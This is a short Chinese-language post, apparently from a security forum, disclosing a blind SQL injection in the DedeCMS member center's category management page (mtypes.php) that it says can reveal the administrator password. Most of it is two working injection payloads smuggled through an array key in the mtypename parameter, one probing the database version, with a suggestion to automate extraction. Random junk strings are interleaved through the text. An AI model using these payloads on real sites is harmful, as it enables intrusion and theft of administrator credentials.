DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.
) p' b8 R. H- [9 M% V- `4 g' C( ~

9 n+ H7 c- I" h0 b发生在数组key里的注射漏洞,有点意思.

这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
0 h" ]- i3 I* X
% T  M4 ~. ^/ f+ ]9 u2 U# I! chttp://www.xxx.com /dede/member/mtypes.php?dopost=save
# p' U5 o) _, W9 v+ V
exploit:
; d9 U& O8 x( I; w% ~' Kmtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r